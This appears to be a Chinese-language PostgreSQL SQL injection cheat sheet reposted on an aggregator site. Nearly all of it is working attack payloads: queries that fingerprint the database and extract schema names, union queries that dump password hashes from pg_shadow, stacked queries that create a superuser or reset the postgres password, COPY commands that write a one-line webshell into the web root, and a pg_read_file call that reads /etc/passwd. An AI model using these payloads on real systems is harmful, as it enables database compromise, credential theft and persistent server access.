Sql注入之postgresql

Posted she11s

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sql注入之postgresql相关的知识,希望对你有一定的参考价值。

Sql注入之Postgresql

介绍

Postgresql是一款中小型数据库,经常与php一起使用。

数据库判断

+and+1::int=1-

返回正常即为Postgresql数据库

常用注入语句

  • 数据库版本
+and+1=cast(version() as int)-
  • 判断当前用户
and 1=cast(user||123 as int)
  • 判断字段数
order by

联合注入

用法和oracle相似

  • 数据库版本信息
union select null,version(),null 
  • 用户权限
union select null,current_schema(),null
  • 数据库名称
union select null,current_database(),null
  • 表名
union select null,relname,null from pg_stat_user_tables
  • 列名
union select null,column_name,null from information_schema.columns where table_name='表名'
  • 查看数据库账号密码
union select null,usename|char(124)|passwd,null from pg_shadow

||连接字符串

char(124)为|

获得结果例子:admin|password

  • 创建用户
;create user test with superuser password 'test'-- 
  • 修改postgres的用户密码为pass
;alter user postgres with password 'pass'

写shell

  • 方法一

依次执行如下三个命令

;create  table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';

这样就会将一句话木马写到,www目录下的shell.php文件中

  • 方法二
;copy (select '一句话木马') to '/www/shell/php';

读文件

pg_read_file('/etc/passwd',1,20)    #读文件前20行

以上是关于Sql注入之postgresql的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入攻击之sqlmap

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

在 python 中,如何执行缓解 SQL 注入的 postgresql 'LIKE %name%' 查询?

我可以通过在PostgreSQL函数中包装SQL来防止SQL注入攻击吗?

代码审计之SQL注入

Java代码审计之SQL注入